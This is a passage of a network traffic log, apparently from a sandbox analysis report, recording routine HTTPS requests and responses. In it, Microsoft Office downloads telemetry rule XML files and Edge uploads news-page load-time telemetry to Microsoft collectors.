2024-10-31 02:04:36 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5c8c4e1d-601e-0002-3bca-2aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020436Z-159b85dff8fdh9tvhC1DFW50vs00000000q000000000nk3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	50389	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:36 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020436Z-16849878b78j5kdg3dndgqw0vg0000000am000000000b6c5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	50392	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:36 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020436Z-16849878b78wv88bk51myq5vxc000000092g00000000nuqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	50393	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:36 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:36 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020436Z-16849878b785dznd7xpawq9gcn0000000a8000000000de17 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:36 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50390	20.42.65.90	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340275078&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10844 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1; _C_ETH=1
2024-10-31 02:04:36 UTC	10844	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 54 30 32 3a 30 34 3a 33 35 2e 30 37 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 33 39 38 32 33 64 32 2d 63 64 61 30 2d 34 35 66 61 2d 38 63 32 61 2d 36 65 38 63 36 66 35 65 31 39 31 38 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 35 36 35 34 38 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-31T02:04:35.077Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"a39823d2-cda0-45fa-8c2a-6e8c6f5e1918","epoch":"2656548777"},"app":{"locale
2024-10-31 02:04:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9a8231673b314bfe8ecf57741f7b41cb&HASH=9a82&LV=202410&V=4&LU=1730340276474; Domain=.microsoft.com; Expires=Fri, 31 Oct 2025 02:04:36 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a4e12d6da93044e1bdf275838ff9b4a3; Domain=.microsoft.com; Expires=Thu, 31 Oct 2024 02:34:36 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1396 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 31 Oct 2024 02:04:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50391	20.42.65.90	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340275081&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4522 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1; _C_ETH=1
2024-10-31 02:04:36 UTC	4522	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 54 30 32 3a 30 34 3a 33 35 2e 30 38 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 33 39 38 32 33 64 32 2d 63 64 61 30 2d 34 35 66 61 2d 38 63 32 61 2d 36 65 38 63 36 66 35 65 31 39 31 38 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 35 36 35 34 38 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-31T02:04:35.080Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"a39823d2-cda0-45fa-8c2a-6e8c6f5e1918","epoch":"2656548777"},"app":{"locale
2024-10-31 02:04:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3d31793d25b4438f8ad6aa2e657da389&HASH=3d31&LV=202410&V=4&LU=1730340276499; Domain=.microsoft.com; Expires=Fri, 31 Oct 2025 02:04:36 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4e0b3f581d8548a9b50d38d03b59a449; Domain=.microsoft.com; Expires=Thu, 31 Oct 2024 02:34:36 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1418 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 31 Oct 2024 02:04:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50395	52.165.164.15	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-10-31 02:04:36 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 02:04:35 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	50397	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:37 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:36 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020436Z-16849878b78nzcqcd7bed2fb6n000000016000000000uf71 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	50396	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:37 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 24b2bddd-501e-0016-07ca-2a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020437Z-16849878b78xblwksrnkakc08w0000000850000000009snx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:37 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	50400	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:37 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:37 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020437Z-16849878b7828dsgct3vrzta70000000077g00000000mdbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:37 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	50398	20.42.65.90	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:37 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340275778&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5087 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1; msnup=; _C_ETH=1
2024-10-31 02:04:37 UTC	5087	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 54 30 32 3a 30 34 3a 33 35 2e 37 37 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 33 39 38 32 33 64 32 2d 63 64 61 30 2d 34 35 66 61 2d 38 63 32 61 2d 36 65 38 63 36 66 35 65 31 39 31 38 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 35 36 35 34 38 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-31T02:04:35.777Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"a39823d2-cda0-45fa-8c2a-6e8c6f5e1918","epoch":"2656548777"},"app":{"locale
